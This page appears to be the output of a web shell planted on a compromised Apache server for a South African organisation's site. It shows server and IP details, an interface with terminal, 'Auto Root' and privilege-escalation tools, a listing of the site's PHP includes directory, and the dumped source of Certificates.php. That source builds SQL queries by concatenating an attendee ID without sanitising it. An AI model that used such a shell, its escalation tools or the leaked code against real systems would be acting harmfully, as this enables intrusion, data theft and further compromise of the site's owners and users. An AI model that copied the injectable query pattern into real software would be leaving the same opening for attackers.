Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.216.28
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
cesa.co.za /
php /
includes /
Delete
Unzip
Name
Size
Permission
Date
Action
error_handling
[ DIR ]
drwxr-sr-x
2025-07-07 15:54
mail
[ DIR ]
drwxr-sr-x
2025-06-14 11:17
ADQAnswers.php
3.16
KB
-rw-r--r--
2026-06-03 05:55
ADQAudit.php
6.51
KB
-rw-r--r--
2026-06-03 05:55
ADQAuditAnswers.php
1.21
KB
-rw-r--r--
2026-06-03 05:55
ADQFirms.php
18.41
KB
-rw-r--r--
2025-12-31 10:56
ADQuestionnairesAnswers.php
1.05
KB
-rw-r--r--
2026-06-03 05:55
ADQuestionnairesAudit.php
2.01
KB
-rw-r--r--
2026-06-03 05:55
ADecQuestionnaires.php
3.31
KB
-rw-r--r--
2026-06-03 05:55
ADecQuestions.php
541
B
-rw-r--r--
2026-06-03 05:55
ADec_Contacts.php
1.61
KB
-rw-r--r--
2026-06-03 05:55
ADec_OfficeContacts.php
7.43
KB
-rw-r--r--
2026-06-03 05:55
ADec_PIUnderwriters.php
742
B
-rw-r--r--
2026-06-03 05:55
ADec_Transformation.php
817
B
-rw-r--r--
2026-06-03 05:55
ADec_tblMemberFirmOffices.php
1.49
KB
-rw-r--r--
2026-06-03 05:55
ADec_tblMemberFirmSkills.php
2.38
KB
-rw-r--r--
2026-06-03 05:55
ADec_tblMemberFirms.php
19.37
KB
-rw-r--r--
2026-06-03 05:55
AnonRespondees.php
4.25
KB
-rw-r--r--
2026-06-05 11:41
AwardsEntries.php
2.4
KB
-rw-r--r--
2026-06-06 10:48
BaseTableClass.php
950
B
-rw-r--r--
2026-04-26 08:24
BatchJob.php
4.46
KB
-rw-r--r--
2026-06-03 05:55
BceAssignmentFeedbackFormsReportService.php
6.77
KB
-rw-r--r--
2026-05-25 13:06
CCEAssignment.php
12.44
KB
-rw-r--r--
2026-05-26 14:26
CCEAssignmentMarking.php
26.26
KB
-rw-r--r--
2026-08-14 12:06
CCEBooks.php
524
B
-rw-r--r--
2026-06-03 05:55
CCEConvenorAuth.php
3.06
KB
-rw-r--r--
2026-08-19 11:18
CCECourseSchedules.php
579
B
-rw-r--r--
2026-06-03 05:55
CCEDocCategories.php
529
B
-rw-r--r--
2026-06-03 05:55
CCEDocuments.php
8.15
KB
-rw-r--r--
2026-08-20 12:16
CCEExam.php
15.87
KB
-rw-r--r--
2026-06-03 06:35
CCEExamQuestion.php
1.76
KB
-rw-r--r--
2026-06-03 05:55
CCEFacilitatorUser.php
931
B
-rw-r--r--
2026-06-03 05:55
CCEMessageLog.php
951
B
-rw-r--r--
2026-06-03 05:55
CCEMessages.php
8.88
KB
-rw-r--r--
2026-07-01 13:20
CCEModuleMarksService.php
7.16
KB
-rw-r--r--
2026-05-26 10:30
CCEModules.php
1.16
KB
-rw-r--r--
2026-06-03 05:55
CCEResourceGroups.php
591
B
-rw-r--r--
2026-06-03 05:55
CCEResources.php
896
B
-rw-r--r--
2026-06-03 05:55
CCESetup.php
256
B
-rw-r--r--
2026-02-09 16:20
CCEStAssigExtension.php
2.07
KB
-rw-r--r--
2026-06-03 05:55
CCEStAssigExtensionRequest.php
6.65
KB
-rw-r--r--
2026-06-03 05:55
CCEStudentAssignment.php
16.61
KB
-rw-r--r--
2026-07-15 14:44
CCEStudentCourses.php
611
B
-rw-r--r--
2026-06-03 05:55
CCEStudentDisplayOrder.php
4.96
KB
-rw-r--r--
2026-05-26 09:32
CCEStudents.php
8.4
KB
-rw-r--r--
2026-08-19 11:18
CCETemplates.php
896
B
-rw-r--r--
2026-06-03 05:55
CCEWeeklySessions.php
2.27
KB
-rw-r--r--
2026-02-09 16:25
CPDSPReview.php
624
B
-rw-r--r--
2026-06-03 05:55
CPDServiceProvider.php
4.57
KB
-rw-r--r--
2026-06-12 11:48
CPDTrainingMaterial.php
3.96
KB
-rw-r--r--
2026-06-12 11:48
CceUploadedFileService.php
34.9
KB
-rw-r--r--
2026-06-24 12:03
Certificates.php
8.93
KB
-rw-r--r--
2026-08-18 15:42
Contact.php
690
B
-rw-r--r--
2026-06-03 05:55
ErrorLog.php
1.22
KB
-rw-r--r--
2026-08-24 10:12
EventSchedules.php
5.39
KB
-rw-r--r--
2025-12-20 10:03
FileUploads.php
2.1
KB
-rw-r--r--
2026-06-03 05:55
HTMLHelper.php
17.2
KB
-rw-r--r--
2026-06-03 05:55
KeyValue.php
4.9
KB
-rw-r--r--
2026-04-25 09:34
Mailer.php
12.78
KB
-rw-r--r--
2026-07-15 09:50
MarketingAttendees.php
36.87
KB
-rw-r--r--
2026-08-14 12:06
MarketingPayments.php
2.52
KB
-rw-r--r--
2026-06-03 05:55
MemberContact.php
1.04
KB
-rw-r--r--
2026-06-03 05:55
MemberFirm.php
17.71
KB
-rw-r--r--
2026-06-03 05:55
MemberFirmOffices.php
752
B
-rw-r--r--
2026-06-03 05:55
MemberFirmSkill.php
18.04
KB
-rw-r--r--
2026-06-03 05:55
MemberPortalTransformationProxy.php
4.44
KB
-rw-r--r--
2026-05-20 09:08
MemberPortalUrls.php
1.82
KB
-rw-r--r--
2026-05-20 09:53
MsgAttachFileService.php
4.92
KB
-rw-r--r--
2026-06-22 08:37
OfficeContact.php
1.01
KB
-rw-r--r--
2026-06-03 05:55
Picklists.php
539
B
-rw-r--r--
2026-06-03 05:55
Questionnaires.php
849
B
-rw-r--r--
2026-01-23 12:39
SchoolAttendeeBulkMailerService.php
34.26
KB
-rw-r--r--
2026-08-11 10:45
SchoolAttendees.php
73.21
KB
-rw-r--r--
2026-08-11 10:45
SchoolCourses.php
7.98
KB
-rw-r--r--
2026-08-19 11:59
SchoolEvents.php
45.54
KB
-rw-r--r--
2026-08-18 15:42
SchoolPayments.php
4.48
KB
-rw-r--r--
2026-04-13 09:33
SchoolPresenters.php
1.86
KB
-rw-r--r--
2026-01-23 12:43
SchoolWeeksCoursesDashboardProxy.php
10.69
KB
-rw-r--r--
2026-08-14 12:32
TrainingProvider.php
8.06
KB
-rw-r--r--
2026-01-23 12:43
TrainingProviderDoc.php
554
B
-rw-r--r--
2026-06-03 05:55
Transformation.php
10.87
KB
-rw-r--r--
2026-05-13 09:36
UnempPractitioners.php
1.43
KB
-rw-r--r--
2026-06-03 05:55
Utils.php
13.72
KB
-rw-r--r--
2026-07-23 07:28
WeeklySessionsParser.php
7.87
KB
-rw-r--r--
2026-02-09 16:20
cceMessageAttachmentUpload.inc.php
5.12
KB
-rw-r--r--
2026-06-03 05:55
cceMessageEditor.inc.php
9.26
KB
-rw-r--r--
2026-07-01 13:20
cce_file_download_endpoint.php
1.75
KB
-rw-r--r--
2026-06-24 08:38
cstUnreadMessages.php
2.1
KB
-rw-r--r--
2026-07-01 13:20
cstWeeksCourses.php
1.84
KB
-rw-r--r--
2026-08-14 12:06
load_phpmailer.php
742
B
-rw-r--r--
2026-07-17 14:57
maill.php
19.45
KB
-rw-r--r--
2026-08-19 12:23
require_ewmysql.php
1.2
KB
-rw-r--r--
2026-08-24 10:12
sqlFunctions.php
10.48
KB
-rw-r--r--
2026-08-24 10:12
Save
Rename
<?php /* * Contact otto@igotafrica.com for details */ include_once('BaseTableClass.php'); /** * Control the Certificates table * * @author Otto Saayman */ class Certificates extends BaseTableClass { public function __construct($sqlf) { parent::__construct($sqlf); } public function findOneByAttendeeId($attendeeId) { $sql = "SELECT SchoolEvents.EventID, SchoolEvents.EventName, SchoolEvents.CourseType AS EventCourseType, SchoolEvents.StartDate, SchoolEvents.EndDate, SchoolEvents.AccredNum AS EventAccredNum, " . "SchoolEvents.AccredNum2 AS EventAccredNum2, SchoolEvents.ECSACategory, SchoolEvents.CPD AS EventCPD, SchoolEvents.Level AS EventLevel, " . "SchoolEvents.TestRequired, SchoolEvents.QuestionnaireID, Questionnaires.QuestionnaireType, SchoolCourses.AccredNum, SchoolCourses.AccredNum2, " . "SchoolCourses.CPD, SchoolCourses.Level, SchoolCourses.CourseName, SchoolCourses.NonCPDCourse, SchoolAttendees.*, " . "(SELECT CONCAT(CPDSPReview.SPNumber, ';', ApprovedFrom) AS CESAVerificationNumberDates FROM CPDSPReview " . "INNER JOIN CPDServiceProvider ON CPDSPReview.CPDProviderID = CPDServiceProvider.CPDProviderID " . "WHERE CPDServiceProvider.VATNumber = 4050283169 " . "AND DATE_ADD(DATE_ADD(LAST_DAY(ApprovedFrom), INTERVAL -1 MONTH), INTERVAL 1 DAY) < SchoolEvents.StartDate " . "AND DATE_ADD(LAST_DAY(ApprovedFrom), INTERVAL 3 YEAR) > SchoolEvents.StartDate " . "ORDER BY ApprovedFrom DESC LIMIT 0, 1) AS CESAVerificationNumberDates, SchoolPresenters.PresenterName, " . "SchoolEvents.SACPCMPCategory, SchoolEvents.SACPCMPNum, SchoolEvents.OtherCPDPoints, " . "SchoolEvents.SACPCMP_CPDPoints, SchoolEvents.SACNASP_CPD_Points, SchoolEvents.SACNASP_ValidationNumber, " . "SchoolEvents.Hours AS EventHours " . "FROM SchoolEvents JOIN SchoolAttendees USING (EventID) " . "LEFT JOIN SchoolPresenters ON SchoolEvents.PresenterID = SchoolPresenters.PresenterID " . "LEFT JOIN SchoolCourses USING (SchoolCourseID) " . "LEFT JOIN Questionnaires ON (SchoolEvents.QuestionnaireID=Questionnaires.Questionnaire_ID) " . "WHERE SchoolAttendees.AttendeeID=" . $attendeeId; // echo $sql; // exit; $row = $this->sqlf->getRow($sql); if (is_array($row) && count($row) > 0) { if ($row['EventName'] == '') { $row['EventName'] = $row['CourseName']; } if (true || $row['Level'] == '') { $row['Level'] = $row['EventLevel']; } if ($row['EventAccredNum2'] == '') { $row['EventAccredNum2'] = 'N/A'; } // Always use the accreditation number of the certificate at the time of the event $row['AccredNum'] = $row['EventAccredNum']; $row['AccredNum2'] = $row['EventAccredNum2']; $row['CPD'] = $row['EventCPD']; //This overrides empty values only // if ($row['EventAccredNum'] != '') { // $row['AccredNum'] = $row['EventAccredNum']; // } // if ($row['EventAccredNum2'] != '') { // $row['AccredNum2'] = $row['EventAccredNum2']; // } // if ($row['CPD'] == '') { // $row['CPD'] = $row['EventCPD']; // } // if ($row['Level'] == '') { // $row['Level'] = 'Course'; // } } return $row; } /** * Hours line for a school certificate, or null when Hours is not populated (> 0). * * @param array $row Certificate row from findOneByAttendeeId * @return string|null */ public function formatCertificateHours($row) { if (!is_array($row)) { return null; } $hours = null; if (array_key_exists('EventHours', $row) && $row['EventHours'] !== null && $row['EventHours'] !== '') { $hours = $row['EventHours']; } elseif (array_key_exists('Hours', $row) && $row['Hours'] !== null && $row['Hours'] !== '') { $hours = $row['Hours']; } if ($hours === null || !is_numeric($hours) || (float) $hours <= 0) { return null; } if ((float) $hours == (int) $hours) { return (string) ((int) $hours); } return rtrim(rtrim(number_format((float) $hours, 2, '.', ''), '0'), '.'); } public function findOneMarketingByAttendeeId($attendeeId) { $row = $this->sqlf->getRow("SELECT MarketingEvents.EventID, MarketingEvents.EventName, MarketingEvents.StartDate, MarketingEvents.EndDate, MarketingEvents.AccredNum, MarketingEvents.CPD, MarketingAttendees.* " . "FROM MarketingAttendees, MarketingEvents " . "WHERE MarketingAttendees.EventID = MarketingEvents.EventID " . "AND MarketingAttendees.AttendeeID=" . $attendeeId); if (is_array($row) && count($row) > 0) { if ($row['EventName'] == '') { $row['EventName'] = $row['CourseName']; } if ($row['Level'] == '') { $row['Level'] = $row['EventLevel']; } // Always use the accreditation number of the certificate at the time of the event if ($row['AccredNum'] == '') { $row['AccredNum'] = $row['EventAccredNum']; } if ($row['AccredNum2'] == '') { $row['AccredNum2'] = $row['EventAccredNum2']; } if ($row['CPD'] == '') { $row['CPD'] = $row['EventCPD']; } if ($row['Level'] == '') { $row['Level'] = 'Course'; } } return $row; } } function certificatesListMenu() { if (isset($_SESSION['EventID']) && strlen($_SESSION['EventID']) > 0) { $_SESSION[EW_SESSION_MESSAGE] .= '<br><SPAN class=phpmaker>' . '<A href="CertificateEmail.php?EventID=' . $_SESSION['EventID'] . '"><IMG title="" border=0 alt="" src="images/exportemail.gif" width=16 height=16> E-mail All Certificates</A> ' . '<A href="CertificateEmailOneAddress.php?EventID=' . $_SESSION['EventID'] . '"><IMG title="" border=0 alt="" src="images/exportemail.gif" width=16 height=16> Send all Certificates to One Address</A> ' . '<a href="CertificateEmailOneAddress.php?EventID=' . $_SESSION['EventID'] . '&markSelectedOneAddress=1" class="selected-one-address"><IMG title="" border=0 alt="" src="images/exportemail.gif" width=16 height=16> Send Selected Certificates to One Address</a> ' . '<a href="CertificateEmail.php?EventID=' . $_SESSION['EventID'] . '&markAllAsAttendedPaid=1">Mark All as Attended and Paid</a> ' . '<a href="CertificateEmail.php?EventID=' . $_SESSION['EventID'] . '&markAllAsAttended=1">Mark All as Attended</a> ' . '<a href="CertificateEmail.php?EventID=' . $_SESSION['EventID'] . '&markAllAsPaid=1">Mark All as Paid</a> ' // . '<a href="CertificateEmail.php?EventID=' . $_SESSION['EventID'] . '&markAllAsUnpaid=1">Mark All as Unpaid</a>' . '<br /><br />' . '<a href="CertificateEmail.php?EventID=' . $_SESSION['EventID'] . '&markSelectedEMail=1" class="selected-e-mail"><IMG title="" border=0 alt="" src="images/exportemail.gif" width=16 height=16> E-mail Selected Certificates</a> ' . '<a href="CertificateEmail.php?EventID=' . $_SESSION['EventID'] . '&markSelectedAsAttendedPaid=1" class="selected-attended-paid">Mark Selected as Attended and Paid</a> ' . '<a href="CertificateEmail.php?EventID=' . $_SESSION['EventID'] . '&markSelectedAsAttended=1" class="selected-attended">Mark Selected as Attended</a> ' . '<a href="CertificateEmail.php?EventID=' . $_SESSION['EventID'] . '&markSelectedAsPaid=1" class="selected-paid">Mark Selected as Paid</a><br /><br />' . '<a href="CertificateEmail.php?EventID='.$_SESSION['EventID'].'&markAllAsNotAttendedPaid=1">Mark All as NOT Attended and NOT Paid</a> ' . '<a href="CertificateEmail.php?EventID='.$_SESSION['EventID'].'&markAllAsNotAttended=1">Mark All NOT Attended</a> ' . '<a href="CertificateEmail.php?EventID='.$_SESSION['EventID'].'&markAllAsNotPaid=1">Mark All as NOT Paid</a><br /><br />' . '<a href="CertificateEmail.php?EventID='.$_SESSION['EventID'].'&markSelectedAsNotAttendedPaid=1" class="selected-attended-paid">Mark Selected as NOT Attended and Paid</a> ' . '<a href="CertificateEmail.php?EventID='.$_SESSION['EventID'].'&markSelectedAsNotAttended=1" class="selected-attended">Mark Selected as NOT Attended</a> ' . '<a href="CertificateEmail.php?EventID='.$_SESSION['EventID'].'&markSelectedAsNotPaid=1" class="selected-paid">Mark Selected as NOT Paid</a><br /><br />' . '</SPAN>'; } }